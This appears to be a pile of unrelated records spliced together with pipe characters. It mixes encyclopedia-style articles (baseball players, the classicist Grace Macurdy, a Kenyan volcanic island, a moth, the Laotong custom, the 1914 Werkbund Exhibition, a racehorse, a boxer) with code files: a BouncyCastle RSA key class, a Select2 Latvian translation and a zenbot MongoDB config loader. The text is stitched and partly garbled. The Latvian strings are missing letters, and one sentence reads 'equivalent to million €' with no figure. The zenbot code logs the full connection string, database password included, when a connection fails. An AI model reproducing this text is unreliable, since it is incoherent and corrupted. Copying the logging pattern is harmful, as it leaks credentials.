Undeb Yr Annibynwyr Cymraeg/ Union of Welsh Independents
Welsh Biography Online
1801 births
1869 deaths
People from Carmarthenshire
Welsh Congregationalist ministers |
```java
package org.bouncycastle.asn1.pkcs;
import java.math.BigInteger;
import java.util.Enumeration;
import org.bouncycastle.asn1.ASN1EncodableVector;
import org.bouncycastle.asn1.ASN1Integer;
import org.bouncycastle.asn1.ASN1Object;
import org.bouncycastle.asn1.ASN1Primitive;
import org.bouncycastle.asn1.ASN1Sequence;
import org.bouncycastle.asn1.ASN1TaggedObject;
import org.bouncycastle.asn1.DERSequence;
/**
* @deprecated use RSAPrivateKey
*/
public class RSAPrivateKeyStructure
extends ASN1Object
{
private int version;
private BigInteger modulus;
private BigInteger publicExponent;
private BigInteger privateExponent;
private BigInteger prime1;
private BigInteger prime2;
private BigInteger exponent1;
private BigInteger exponent2;
private BigInteger coefficient;
private ASN1Sequence otherPrimeInfos = null;
public static RSAPrivateKeyStructure getInstance(
ASN1TaggedObject obj,
boolean explicit)
{
return getInstance(ASN1Sequence.getInstance(obj, explicit));
}
public static RSAPrivateKeyStructure getInstance(
Object obj)
{
if (obj instanceof RSAPrivateKeyStructure)
{
return (RSAPrivateKeyStructure)obj;
}
else if (obj instanceof ASN1Sequence)
{
return new RSAPrivateKeyStructure((ASN1Sequence)obj);
}
throw new IllegalArgumentException("unknown object in factory: " + obj.getClass().getName());
}
public RSAPrivateKeyStructure(
BigInteger modulus,
BigInteger publicExponent,
BigInteger privateExponent,
BigInteger prime1,
BigInteger prime2,
BigInteger exponent1,
BigInteger exponent2,
BigInteger coefficient)
{
this.version = 0;
this.modulus = modulus;
this.publicExponent = publicExponent;
this.privateExponent = privateExponent;
this.prime1 = prime1;
this.prime2 = prime2;
this.exponent1 = exponent1;
this.exponent2 = exponent2;
this.coefficient = coefficient;
}
public RSAPrivateKeyStructure(
ASN1Sequence seq)
{
Enumeration e = seq.getObjects();
BigInteger v = ((ASN1Integer)e.nextElement()).getValue();
if (v.intValue() != 0 && v.intValue() != 1)
{
throw new IllegalArgumentException("wrong version for RSA private key");
}
version = v.intValue();
modulus = ((ASN1Integer)e.nextElement()).getValue();
publicExponent = ((ASN1Integer)e.nextElement()).getValue();
privateExponent = ((ASN1Integer)e.nextElement()).getValue();
prime1 = ((ASN1Integer)e.nextElement()).getValue();
prime2 = ((ASN1Integer)e.nextElement()).getValue();
exponent1 = ((ASN1Integer)e.nextElement()).getValue();
exponent2 = ((ASN1Integer)e.nextElement()).getValue();
coefficient = ((ASN1Integer)e.nextElement()).getValue();
if (e.hasMoreElements())
{
otherPrimeInfos = (ASN1Sequence)e.nextElement();
}
}
public int getVersion()
{
return version;
}
public BigInteger getModulus()
{
return modulus;
}
public BigInteger getPublicExponent()
{
return publicExponent;
}
public BigInteger getPrivateExponent()
{
return privateExponent;
}
public BigInteger getPrime1()
{
return prime1;
}
public BigInteger getPrime2()
{
return prime2;
}
public BigInteger getExponent1()
{
return exponent1;
}
public BigInteger getExponent2()
{
return exponent2;
}
public BigInteger getCoefficient()
{
return coefficient;
}
/**
* This outputs the key in PKCS1v2 format.
* <pre>
* RSAPrivateKey ::= SEQUENCE {
* version Version,
* modulus INTEGER, -- n
* publicExponent INTEGER, -- e
* privateExponent INTEGER, -- d
* prime1 INTEGER, -- p
* prime2 INTEGER, -- q
* exponent1 INTEGER, -- d mod (p-1)
* exponent2 INTEGER, -- d mod (q-1)
* coefficient INTEGER, -- (inverse of q) mod p
* otherPrimeInfos OtherPrimeInfos OPTIONAL
* }
*
* Version ::= INTEGER { two-prime(0), multi(1) }
* (CONSTRAINED BY {-- version must be multi if otherPrimeInfos present --})
* </pre>
* <p>
* This routine is written to output PKCS1 version 2.1, private keys.
*/
public ASN1Primitive toASN1Primitive()
{
ASN1EncodableVector v = new ASN1EncodableVector();
v.add(new ASN1Integer(version)); // version
v.add(new ASN1Integer(getModulus()));
v.add(new ASN1Integer(getPublicExponent()));
v.add(new ASN1Integer(getPrivateExponent()));
v.add(new ASN1Integer(getPrime1()));
v.add(new ASN1Integer(getPrime2()));
v.add(new ASN1Integer(getExponent1()));
v.add(new ASN1Integer(getExponent2()));
v.add(new ASN1Integer(getCoefficient()));
if (otherPrimeInfos != null)
{
v.add(otherPrimeInfos);
}
return new DERSequence(v);
}
}
``` |
Elmer Ellsworth Foster (August 15, 1861 – July 22, 1946) was an American outfielder in Major League Baseball who played from 1886 to 1891. He played for the New York Metropolitans, New York Giants, and Chicago Colts.
External links
1861 births
1946 deaths
19th-century baseball players
Major League Baseball outfielders
New York Metropolitans players
New York Giants (NL) players
Chicago Colts players
St. Paul Apostles players
Haverhill (minor league baseball) players
Minneapolis Millers (baseball) players
Kansas City Blues (baseball) players
Baseball players from Minneapolis |
```javascript
CKEDITOR.plugins.setLang("templates","en-ca",{button:"Templates",emptyListMsg:"(No templates defined)",insertOption:"Replace actual contents",options:"Template Options",selectPromptMsg:"Please select the template to open in the editor",title:"Content Templates"});
``` |
```javascript
var _ = require('lodash')
var path = require('path')
var minimist = require('minimist')
var version = require('./package.json').version
var EventEmitter = require('events')
module.exports = function (cb) {
var zenbot = { version }
var args = minimist(process.argv.slice(3))
var conf = {}
var config = {}
var overrides = {}
module.exports.debug = args.debug
// 1. load conf overrides file if present
if(!_.isUndefined(args.conf)){
try {
overrides = require(path.resolve(process.cwd(), args.conf))
} catch (err) {
console.error(err + ', failed to load conf overrides file!')
}
}
// 2. load conf.js if present
try {
conf = require('./conf')
} catch (err) {
console.error(err + ', falling back to conf-sample')
}
// 3. Load conf-sample.js and merge
var defaults = require('./conf-sample')
_.defaultsDeep(config, overrides, conf, defaults)
zenbot.conf = config
var eventBus = new EventEmitter()
zenbot.conf.eventBus = eventBus
var authStr = '', authMechanism, connectionString
if(zenbot.conf.mongo.username){
authStr = encodeURIComponent(zenbot.conf.mongo.username)
if(zenbot.conf.mongo.password) authStr += ':' + encodeURIComponent(zenbot.conf.mongo.password)
authStr += '@'
// authMechanism could be a conf.js parameter to support more mongodb authentication methods
authMechanism = zenbot.conf.mongo.authMechanism || 'DEFAULT'
}
if (zenbot.conf.mongo.connectionString) {
connectionString = zenbot.conf.mongo.connectionString
} else {
connectionString = 'mongodb://' + authStr + zenbot.conf.mongo.host + ':' + zenbot.conf.mongo.port + '/' + zenbot.conf.mongo.db + '?' +
(zenbot.conf.mongo.replicaSet ? '&replicaSet=' + zenbot.conf.mongo.replicaSet : '' ) +
(authMechanism ? '&authMechanism=' + authMechanism : '' )
}
require('mongodb').MongoClient.connect(connectionString, { useNewUrlParser: true, useUnifiedTopology: true}, function (err, client) {
if (err) {
console.error('WARNING: MongoDB Connection Error: ', err)
console.error('WARNING: without MongoDB some features (such as backfilling/simulation) may be disabled.')
console.error('Attempted authentication string: ' + connectionString)
cb(null, zenbot)
return
}
var db = client.db(zenbot.conf.mongo.db)
_.set(zenbot, 'conf.db.mongo', db)
cb(null, zenbot)
})
}
``` |
```xml
<Project Sdk="Microsoft.NET.Sdk" ToolsVersion="15.0">
<PropertyGroup Label="Configuration">
<SignAssembly>True</SignAssembly>
<DelaySign>False</DelaySign>
<RootNamespace />
<DocumentationFile>$(TargetDir)bin\$(Configuration)\$(TargetFramework)\itext.svg.xml</DocumentationFile>
</PropertyGroup>
<PropertyGroup>
<TargetFrameworks>netstandard2.0;net461</TargetFrameworks>
</PropertyGroup>
<PropertyGroup>
<OutputType>library</OutputType>
</PropertyGroup>
<PropertyGroup>
<AssemblyOriginatorKeyFile>itext.snk</AssemblyOriginatorKeyFile>
</PropertyGroup>
<PropertyGroup>
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
<AssemblyName>itext.svg</AssemblyName>
<RootNamespace />
</PropertyGroup>
<PropertyGroup>
<NoWarn>1701;1702;1591;1570;1572;1573;1574;1580;1584;1658;0108</NoWarn>
</PropertyGroup>
<ItemGroup Condition=" '$(TargetFramework)' == 'net461' ">
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="resources\default.css">
<LogicalName>iText.Svg.default.css</LogicalName>
</EmbeddedResource>
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\itext.io\itext.io.csproj" />
<ProjectReference Include="..\itext.kernel\itext.kernel.csproj" />
<ProjectReference Include="..\itext.layout\itext.layout.csproj" />
<ProjectReference Include="..\itext.styledxmlparser\itext.styledxmlparser.csproj" />
</ItemGroup>
</Project>
``` |
Grace Harriet Macurdy (September 12, 1866 – October 23, 1946) was an American classicist, and the first American woman to gain a PhD from Columbia University. She taught at Vassar College for 44 years, despite a lengthy conflict with Abby Leach, her first employer.
Macurdy eventually rose to become chair of the department of Greek before embarking upon an illustrious international career. One of her major areas of research was royal women during the Hellenistic period. Macurdy shaped the field of classics and the study of ancient history by pulling together both material evidence and textual evidence as sources in her pioneering studies of individual women.
Academic career
Macurdy was born in Robbinston, Maine, and was the daughter of Simon Angus Macurdy and Rebecca Thomson Macurdy.
She went to high school in Watertown, Massachusetts, before studying at Radcliffe College, where she gained highest second-year honors in 1887, and graduated in 1888. Macurdy would become the first graduate from Radcliffe to gain a doctorate, and become a college professor. At first she taught Greek and Latin at the Cambridge School for Girls, while continuing to teach graduate courses at Radcliffe, and in 1893 moved to Vassar College.
Macurdy was awarded a fellowship from the Woman's Education Association of Boston, which allowed her to study at the University of Berlin from 1899 to 1900, taking classes taught by Ulrich von Wilamowitz-Moellendorff. She gained her PhD from Columbia University in 1903, becoming the first American woman (and third woman) to have gained a PhD from Columbia. Her dissertation was titled The Chronology of the Extant Plays of Euripides, and was longer than most dissertations in the subject at that time. While studying, she had continued teaching at Vassar, commuting to and from Columbia, until the receipt of her PhD gained her a promotion, and she became an associate professor of Greek at Vassar. In 1908 she became the first woman to teach in the academic program at Columbia University, taking up undergraduate and graduate Greek courses in Columbia's summer session.
During her early career, Macurdy cultivated a relationship through letters with Gilbert Murray, who supported and encouraged her work, particularly after they met in 1907. It is clear that she originally patterned her work on Murray's, but as her research progressed she began to work on etymology of names, mythic and religious origins, and ethnology, thus beginning to model herself more after the approach of Jane Harrison, herself a female pioneer of the time. Her first book, Troy and Paeonia, was dedicated to Harrison, a dedication which Harrison received with great delight.
Conflict with Abby Leach
Macurdy's pioneering academic achievements did not have wholly positive results, as her increased success brought her into conflict with the scholar who had first hired her to Vassar, Abby Leach. In 1907, Macurdy discovered that Leach was attempting to have her dismissed from Vassar. In 1907, Leach began to seek a faculty member to replace Macurdy, and to restrict the courses which she would be allowed to teach. In January 1908, Leach formally proposed Macurdy's dismissal to the Vassar president, James Monroe Taylor, claiming that she needed a younger more "adaptable" colleague for her work. Leach also commented unfavourably on Macurdy's decision, previously encouraged by Leach herself, to study for her PhD while teaching at Vassar. Before Leach's proposal could be acted upon, she publicly reassigned Macurdy's class in freshman Greek to a new instructor, and she continued to write letters to Taylor criticising Macurdy. The trustees of the college rejected Leach's proposal, and unanimously reappointed Macurdy, instructing Leach to give her a reasonable share of the work in the department. Yet Taylor continued to receive letters from Leach, and a letter from graduate students telling him of incidents when Leach had vehemently criticised Macurdy and her work to the students in their classes, including criticising details of her thesis.
Leach's campaign continued for several years. She continued to remove courses from Macurdy, and to persuade students against courses which Macurdy was teaching, then claiming that Macurdy should be dismissed as she did not have sufficient courses to teach, or sufficient students. Leach also continued her letter-writing, writing to alumnae asking them to criticize Macurdy, and writing further derogatory letters to the president of Columbia and professors of Greek who had taught her there. When Henry Noble MacCracken took office as the new President of Vassar in 1915, Leach immediately presented her case for the dismissal of Macurdy to him. However, MacCracken instead proposed the following year that Macurdy should be given a permanent post, and promoted to the rank of full professor, and the trustees agreed. Despite the lack of support, Leach continued her campaign until her death in 1918. Hundreds of the letters sent as part of the conflict are now in the Vassar Archives, stored under the heading "The Leach-Macurdy Conflict".
Head of department and later career
In 1920, two years after Leach's death, Macurdy became chair of the department of Greek at Vassar, a post which she held until she retired in 1937. In her new position, she increased collaboration with the Latin faculty, mentored younger colleagues, increased enrolments, improved the strength of the courses offered by the faculty, and continued to publish widely. She continued to be an effective teacher, lecturer, and international traveller, despite the fact that in 1919 she had begun to lose her hearing, a loss which then proceeded rapidly until she was almost entirely deaf by her mid-fifties. After the loss of her hearing, Macurdy took to using an ear-trumpet, a detail remembered fondly by her students in later anecdotes.
In contrast with Abby Leach, at whose hands she had suffered so much difficulty, Macurdy worked hard to promote the careers and scholarship of other younger female colleagues. She recognised the excellence of Lily Ross Taylor's scholarship, and helped foster her career even after she had left Vassar. She interceded with President MacCracken on behalf of Elizabeth Hazelton Haight's delayed promotion to full professor, and asked the president of Mount Holyoke College to take care that Cornelia Coulter not 'overburden' herself with teaching, thus making it difficult for her to publish successfully.
In the later part of her career, partly due to the reassurance of her status as an established scholar, Macurdy turned to the study of ancient women - a topic not previously explored by female classicists, and by few male scholars. In particular, she focused her work on ancient monarchies, and sought out the facts of royal women's roles, natures and characters, while attempting to cut through the prejudices and stereotypes about women which had made earlier treatments unsatisfactory.
Macurdy became the first woman to lecture publicly in Classics at King's College, Cambridge on May 25, 1925, after being invited by J. A. K. Thompson. As well as Macurdy being the first woman to participate in such a series, her lecture on "Great Macedonian Women" was an unusual topic for a university-sponsored, public lecture at the time.
Macurdy retired in 1937. In 1946 she was awarded the King's Medal for Service in the Cause of Freedom for her role in raising money for the British war relief during the Second World War. Her final book, The Quality of Mercy in Greek Literature was published in 1940, and examined the development of the 'humane virtues' in Greek thought. It is likely that her choice of topic was influenced by her horror at the events taking place in Europe in the late 1930s. Macurdy died in 1946.
Impact and critical reception
Over the course of her career, Macurdy published significantly, including five books, fifty-seven articles in major academic journals, sixteen reviews, and several poems and articles in more popular volumes. Macurdy is recognised for being one of the few early women classicists who, rather than attempting to follow the paths laid out by male scholars and suppress her own gender, established her own approach to academic work. The study of women was central to her scholarship, and Macurdy was particularly interested in the importance of studying individual women with reference to their social circumstances, rather than allowing generalisation. She also recognised the need to use a wide range of material evidence in order to move past traditional scholarship, based primarily on the study of texts, and in her works therefore discussed coins, sculpture, vases, inscriptions and papyri.
Macurdy's work had a substantial impact on the study of women and ancient history. Her book Troy and Paeonia was described as "a work of first-rate importance", and her works Hellenistic Queens and Vassal Queens as work that showed her to be a "true pioneer" - "[anticipating] many of the features of the modern feminist approach to the study of women in antiquity."
On her retirement in 1937, the Vassar Alumnae Magazine published four 'Tributes' to Macurdy from other scholars, which recognised her fulsomely. Macurdy was described as a "true 'scholar' of a kind which is rare in America and by no means common in Europe" by Gilbert Murray, and by J. A. K. Thompson as "the first American woman to meet the Greek scholars of Europe and America on something like equal terms."
Books
The Chronology of the Extant Plays of Euripides (1903), (PhD dissertation). Lancaster, Pennsylvania.
Troy and Paeonia, with Glimpses of Ancient Balkan History and Religion. (1925) New York: Columbia University Press.
Hellenistic Queens: a Study of Woman-Power in Macedonia, Seleucid Syria, and Ptolemaic Egypt. (1932) Johns Hopkins University Studies in Archaeology, no. 14. Baltimore: The Johns Hopkins Press. (Reprinted in 1985 by Ares Publishers).
Vassal-Queens and Some Contemporary Women in the Roman Empire. (1937) Johns Hopkins University Studies in Archaeology, no. 22. Baltimore: The Johns Hopkins Press.
The Quality of Mercy: the Gentler Virtues in Greek Literature. (1940) New Haven: Yale University Press.
References
People from Washington County, Maine
Women's historians
People from Watertown, Massachusetts
Scholars of ancient Greek history
American women historians
Columbia University alumni
Radcliffe College alumni
Vassar College faculty
1866 births
1946 deaths
American classical scholars
Women classical scholars
Writers from Maine
Historians from Massachusetts
Recipients of the King's Medal for Service in the Cause of Freedom |
South Island, or Hohnel Island (named after Ludwig von Höhnel who helped with Teleki's expedition), is a fissure-formed volcanic island and the largest one out of 3 other major islands in Lake Turkana, Kenya. This volcano was discovered in 1888 while it was erupting by Count Teleki, a Hungarian explorer who led the first expedition into the region. It is a part of the Lake Turkana National Parks, which is a UNESCO World Heritage Site.
Geography
The island is a 12 km by 5 km island, covered almost completely by recent lava flows erupted by the volcano. Around the island can be found some smaller islets.
Climate
The island generally has a hot and arid climate which lasts from December to March. The coolest months on the island are June and July. Strong winds are a common occurrence from May to September. The annual rainfall at the island averages at 250mm.
Discovery
In 1888, Samuel Teleki, a Hungarian explorer, set off to a trip in Eastern Africa specifically in northern Kenya and southern Ethiopia with Ludwig von Höhnel, an Austrian naval officer and explorer. They were the first Europeans to see many places including Lake Turkana which was named Lake Rudolf (named after the Crown Prince Rudolf of Austria) when it was discovered, Lake Chew Bahir which was named Lake Stefanie (named after Princess Stephanie of Belgium) back then, the Teleki's Volcano (named after Teleki) and more including South Island. Teleki and Höhnel made many observations and discoveries about the local geography, the tribe community and others. All of their work was published in a book called The Discovery of Lakes Rudolf and Stefanie in 1892 by Höhnel himself.
Geological setting
The island sits in the southern portion of Lake Turkana which was formed by the East African Rift System (EARS). Along the EARS sits many volcanoes, the closest ones to South Island including Central Island, North Island, The Barrier and more.
The EARS, a rift zone which extends all the way from Mozambique to Eritrea, is a divergent boundary that is separating the African Plate and the Somali Plate apart at a rate of a few millimeters per year. As a result, seismic activity is caused which can sometimes have larger earthquakes as well as a belt of volcanoes being fed by the rift since in this case the tectonics and the volcanism are closely related.
Magma processes
The volcano sits on a rift zone, which means that tectonic movement is one of the main factors which generates magma. In this case, tectonic movement is a factor as volcanic edifice or materials underground loads into the crust, which modifies the differential stress and affects the upper crust relative to the volcanic materials' radius. Meanwhile, the principal stress' trajectory focuses to the greatest load within the materials. This focusing action (mostly with an asymmetrical stress field) leads to the creation of a magma chamber.
Structure
On South Island can be found a N-S (north to south) trending volcanic ridge which rises to about a height of 300 m. Along this ridge can be found several volcanic cones, which some rise to about a height of 800 m (above sea level, 320 m above the lake level). Several N-S trending faults can also be found on the east and west side of the main ridge, which proves that the island sits on a horst. Morphologically, the east and western side of the island differs from each other. To the east, basaltic lava flows originating near the ridge spill all the way down to the shore which completely covers the eastern portion. In comparison, the western portion is mostly covered in unconsolidated ash, likely from southwesterly winds. The lava flows and pyroclastic rocks are built upon older tuffs and smaller pillow lavas. Sandy beaches can be seen along the west side of the island. Elsewhere, small, isolated black sand beaches and rocky areas are located at small coves along the western and northern shores.
The oldest rocks and minerals on the island are sequences of basaltic lavas found on the terrace of the northeastern shore and the Enwoiti Islet (located 100m east of South Island). The sequence of rocks, from the base to top, includes hyaloclastites, pillow lavas, and massive lava flows. This sequence is estimated to be 30-40 meters thick. These units of older rocks are covered by an alluvium terrace which goes all the way to the western flank of the ridge.
Geologic history
Much isn't known about the geological and eruptive history of South Island, however 1 eruption was witnessed in the 19th century.
1888 eruption
When Count Teleki was in an expedition in Kenya, an explosive eruption of the Teleki's Volcano (The Barrier) was observed, which reportedly triggered lava flows and pyroclastic flows. Reportedly, meanwhile this eruption was ongoing, Count Teleki witnessed another but smaller eruption from a scoria cone in South Island from a volcano which prompted a lava flow, perhaps in relation to the eruption at The Barrier volcano.
See also
Lake Turkana
List of volcanoes in Kenya
References
Stratovolcanoes of Kenya
National parks of Kenya
World Heritage Sites in Kenya
Lake islands of Kenya
Lake Turkana |
Avatha pulchrior is a species of moth of the family Erebidae. It is found on Borneo, Sumatra, Peninsular Malaysia, the Andamans, Sulawesi and in Singapore and Thailand. The habitat consists of lowland areas, including alluvial forests.
The wingspan is 22–23 mm. Adults are similar to Avatha pulcherrima, but the distal edge of the antemedial band is straighter.
References
Moths described in 2005
Avatha
Moths of Asia |
Laotong () is a type of relationship in Chinese culture formerly practised in Hunan that bonded two girls together for eternity as kindred sisters.
There two cultural practises in Hunan in past centuries, Laotong and Laotang, acknowledged women's social bonds.
Chinese women commonly refer to each other as "Sisters". This is a recognition of the importance of women's supportive relationships, which help them endure hardships over their lives. Preparation for marriage might involve a Laotang relationship between several young women; the sisterhood would be dissolved upon marriage. After marriage, new sisterhoods could be formed later between married or widowed women.
For Chinese women, the Laotong or "old-sames" relationship was the strongest and most precious bond of female friendship. This was a more rare and formal relationship between women. A woman could only have one Laotong, and the intensely unbreakable bond was for life.
Often a Laotong relationship would be formed when a marriage was contracted between families who were expecting babies. This was done before the babies were born. If both children turned out female against the hopes of their families, the daughters could be brought together as Laotong. An intermediary, in some places a matchmaker, would form a Laotong relationship between two girls, similar to an arranged marriage. The Chinese astrological profiles of the girls were considered during the matching process. It was unusual for a Laotong relationship to be broken.
The relationship was made formal by the signing of a contract, which would be done much like a legal contract, using a seal. Laotong would frequently develop a language to use to communicate between them that only they could understand (a type of Nu shu), allowing them to send messages back and forth to one another.
These elements of the Laotong practise are shown in Lisa See's novel Snow Flower and the Secret Fan, which was made into a 2011 movie directed by Wayne Wang.
See also
Nu shu
Women in ancient China
Hunan
Chinese social relations
Women's history
Snow Flower and the Secret Fan
References
Chinese culture
Culture in Hunan
Social history of China
Chinese literature
Women in China |
```javascript
/**
* Select2 Latvian translation
*/
(function ($) {
"use strict";
$.extend($.fn.select2.defaults, {
formatNoMatches: function () { return "Sakritbu nav"; },
formatInputTooShort: function (input, min) { var n = min - input.length; return "Ldzu ievadiet vl " + n + " simbol" + (n == 11 ? "us" : (/^\d*[1]$/im.test(n)? "u" : "us")); },
formatInputTooLong: function (input, max) { var n = input.length - max; return "Ldzu ievadiet par " + n + " simbol" + (n == 11 ? "iem" : (/^\d*[1]$/im.test(n)? "u" : "iem")) + " mazk"; },
formatSelectionTooBig: function (limit) { return "Js varat izvlties ne vairk k " + limit + " element" + (limit == 11 ? "us" : (/^\d*[1]$/im.test(limit)? "u" : "us")); },
formatLoadMore: function (pageNumber) { return "Datu ielde..."; },
formatSearching: function () { return "Meklana..."; }
});
})(jQuery);
``` |
The first Werkbund Exhibition of 1914 was held at Rheinpark in Cologne, Germany. Bruno Taut's best-known building, the prismatic dome of the Glass Pavilion of which only black and white images survive today, was in reality a brightly colored landmark. Walter Gropius and Adolf Meyer designed a model factory for the exhibition. The Belgian architect Henri van de Velde designed a model theatre. Berlin-based Margarete Knuppelholz-Roeser designed the controversial Haus Der Frau.
The exhibition happened mainly on the initiative of the later German chancellor Konrad Adenauer, then a 36-year-old aspiring inventor, Werkbund member and local politician at Cologne. The city spent the luxurious sum of 5 million Goldmarks (equivalent to million €) on the event. Planning began in earnest in 1912, and construction work started in early 1914. The exhibition was opened to the public by Van de Velde on 15 May 1914. Scheduled to last until the end of October, it was prematurely shut down on 8 August following the outbreak of World War I a week earlier; the exhibition buildings were dismantled shortly afterwards.
There were two more Werkbund Exhibitions after the war. The second was the Stuttgart Exhibition of 1927, which included the Weissenhof Estate. At that time, the third Werkbund Exhibition had been tentatively scheduled for 1937, but the plan was shelved in 1932 because of the Great Depression and could not be taken up again since the Nazis opposed and ultimately outlawed the Werkbund. It finally took place on a reduced scale in 1949, back in Cologne, and turned out to be the last Werkbund Exhibition.
See also
Expressionism
Deutscher Werkbund
External links
Expressionist architecture
1914
Modernist architecture in Germany
1914 in Germany
Culture in Cologne
Walter Gropius |
Lady Bowthorpe (foaled 22 April 2016) is a British Thoroughbred racehorse. She showed modest ability in her early career, finishing fourth on her only start as a juvenile and winning one minor race as a three-year-old in the following year. She improved in 2020, winning two races including the Group 3 Valiant Stakes. Lady Bowthorpe was even better as a five-year-old when she won the Dahlia Stakes and finishing second in the Lockinge Stakes before recording her first Group 1 win in the Nassau Stakes.
Background
Lady Bowthorpe is a bay mare with a small white star and a white sock on her left hind leg bred in England by Scuderia Archi Romani. In October 2017 the yearling filly was consigned to the Tattersalls sale and was bought for 82,000 guineas by James Toller. She entered the ownership of Emma Banks and was sent into training with William Jarvis at the Phantom House Stable in Newmarket, Suffolk.
She was from the third crop of foals sired by Nathaniel who won the King George VI and Queen Elizabeth Stakes in 2011 and the Eclipse Stakes in the following year. As a breeding stallion he is best known as the sire of Enable. Lady Bowthorpe's dam Maglietta Fina, a half-sister to the Sandown Mile winner Tullius, showed good ability on the track, winning four races in Italy and one in England. As a broodmare she had previously produced the top-class sprinter Speak In Colours who won the Greenlands Stakes, Ballycorus Stakes and Renaissance Stakes. She was a granddaughter of the Shirley Jones Handicap winner Meringue Pie who was in turn a descendant of the British-bred broodmare Batta.
Racing career
2018: two-year-old season
Lady Bowthorpe began her racing career in a novice race (for horses with no more than two previous wins) over six furlongs on good to firm ground at Yarmouth Racecourse on 20 September when she started at odds of 10/1 and finished fourth behind Hidden Message, beaten five and a half lengths by the winner.
2019: three-year-old season
On her first appearance as a three-year-old Lady Bowthorpe ran fifth in a seven furlong novice race on the synthetic Polytrack surface at Chelmsford City Racecourse on 3 August. In a similar event at Lingfield Park later that month she was ridden by Kieran Shoemark (who became her regular jockey) and recorded her first success as she led from the start and won "comfortably" by two lengths from Sloane Garden. In her remaining contests that year she reverted to turf and finished second in Handicap races at Sandown Park in September and Newmarket in October.
2020: four-year-old season
The 2020 flat racing season in Britain was disrupted by the COVID-19 pandemic with racing being suspended in spring before resuming in June. On the 6th of that month Lady Bowthorpe began her third campaign in a minor handicap over one mile on the Polytrack at Lingfield and won by one and a quarter lengths from Baby Steps despite her apprentice jockey Thomas Greatrex dropping his whip in the closing stages. Three weeks later she finished sixth when favourite for a handicap at Newmarket after which she was stepped up in class for the Listed Pipalong Stakes at Pontefract Racecourse and came home fourth of the nine runners behind Romola. In the Group 3 Valiant Stakes at Ascot Racecourse on 26 July she was ridden by Shoemark and went off the 12/1 seventh choice in the betting. After being restrained towards the rear of the field she took the lead approaching the final furlong and drew away to win "readily" by four and three quarter lengths. William Jarvis commented: "I've always thought she is good. She has been unlucky not to win more races. Things just haven't panned out her way, but she is smart. I was very impressed with the way she did it. She hasn't quite achieved what we hoped she would, but she is owned by a very patient owner. It is her first Group winner and she is a valuable filly now."
In her two remaining races of 2020 she finished sixth in the Group 3 Atalanta Stakes at Sandown on 23 August and was then moved up to Group 1 class for the Sun Chariot Stakes at Newmarket in October when she came home sixth of the twelve runners behind Nazeef.
2021: five-year-old season
Lady Bowthorpe made her first appearance as a five-year-old in the Group 2 Dahlia Stakes over nine furlongs on good to firm ground at Newmarket on 2 May and went off the 6/1 third choice in a seven-runner field. She was restrained towards the rear by Shoemark before making progress to take the lead inside the final furlong and held off the challenge of the favourite Queen Power to win by a head. After the race Jarvis said "in the last week she has really come to hand, and I was desperate to run her today. We were concerned about the ground, and I walked the course a couple of times. I felt it was safe racing ground and let her take her chance. She's a very special filly, and I think she will hopefully continue to improve as the year goes on. She does take a bit of managing, but these tricky women sometimes give you the most pleasure!"
The mare was then matched against male opposition in the Group 1 Lockinge Stakes on 15 May and despite starting a 22/1 outsider she produced a career best effort as she finished second to the odds-on favourite Palace Pier, beaten one and a half lengths by her four-year-old rival. In the Group 2 Duke of Cambridge Stakes at Royal Ascot in June Lady Bowthorpe took the lead approaching the last quarter mile but was overtaken a furlong out and beaten into second place by the outsider Indie Angel. In a strongly-contested edition of the Group 1 Falmouth Stakes at Newmarket on 9 July the mare came home fourth behind the three-year-olds Snow Lantern, Mother Earth and Alcohol Free, beaten a length by the winner after overcoming trouble in running in the last two furlongs.
On 29 July Lady Bowthorpe, with Shoemark in the saddle, was moved up in distance for the Nassau Stakes over ten furlongs at Goodwood Racecourse and started the 100/30 third favourite behind Audarya and Joan of Arc in a six-runner field which also included Empress Josephine, Zeyaadah (Hoppings Stakes) and Technique. Lady Bowthorpe settled in third place behind Joan of Arc and Zeyaadah before gaining the advantage a furlong out and staying on well in the closing stages to win by one and a half lengths. Jarvis, who was winning his first Group 1 race since Grand Lodge took the St James's Palace Stakes in 1994, said: "I've never lost faith in myself as a racehorse trainer, quite a lot of other people may have done but that doesn't really bother me... I was confident she'd stay. I was a little bit worried about [Zeyaadah] because she wasn't stopping but I know we've got that great turn of foot and that's her real strength. She's relaxed and settling so much better now. She's a superstar..."
Pedigree
References
2016 racehorse births
Racehorses bred in the United Kingdom
Racehorses trained in the United Kingdom
Thoroughbred family 7-a |
John David Hilton (September 15, 1950 – September 17, 2017) was a professional baseball player. He was picked in the 1971 Secondary Draft out of Rice University and played four seasons for the San Diego Padres. He also played three seasons in Japan for the Yakult Swallows and Hanshin Tigers. Hilton was primarily a third baseman, but played several games at second base.
Career
Early in the 1975 season, Hilton contracted hepatitis which caused the San Diego Padres to announce he would be out indefinitely.
Despite a productive career in Japan, particularly with the Swallows, Hilton was the subject of controversy in his 1980 stint with the Hanshin Tigers. The Tigers were managed by American Don Blasingame, who kept the slumping Hilton in the lineup despite the presence of promising rookie Akinobu Okada. The media and Hanshin fans campaigned relentlessly for Hilton to be benched and/or let go, making life miserable for both Hilton and Blasingame. As a result of the controversy, Hilton was released by the team and Blasingame resigned as manager.
Hilton managed the collegiate summer baseball team the Frederick Keys in 1997.
Hilton died September 17, 2017.
In popular culture
Hilton is credited by famed Japanese author Haruki Murakami as having inspired him, at the age of 29, to become an author. Murakami had his epiphany as he saw Hilton hit a double, while watching a Yakult Swallows game in Japan.
References
External links
Dave Hilton at SABR (Baseball BioProject)
Dave Hilton at Baseball Almanac
1950 births
2017 deaths
American expatriate baseball players in Japan
American expatriate baseball players in Mexico
Alexandria Aces players
Baseball players from Texas
Diablos Rojos del México players
Hanshin Tigers players
Hawaii Islanders players
Lodi Padres players
Milwaukee Brewers coaches
Major League Baseball first base coaches
Major League Baseball third basemen
Minor league baseball managers
Nippon Professional Baseball infielders
People from Uvalde, Texas
Portland Beavers players
Rice Owls baseball players
Rice University alumni
San Diego Padres players
St. Lucie Legends players
Sun City Rays players
Toledo Mud Hens players
Yakult Swallows players |
Fidel Bassa (born 18 December 1962 in El Retén, Colombia), is a former professional boxer. Bassa is owner and manager of Mundo Científico, a provider of educational technology and telecommunications company based in Bogota, Colombia.
He was WBA Flyweight Champion from 13 February 1987 until 30 September 1989. He won the title after defeating Hilario Zapata, and was finally defeated by Jesús Kiki Rojas.
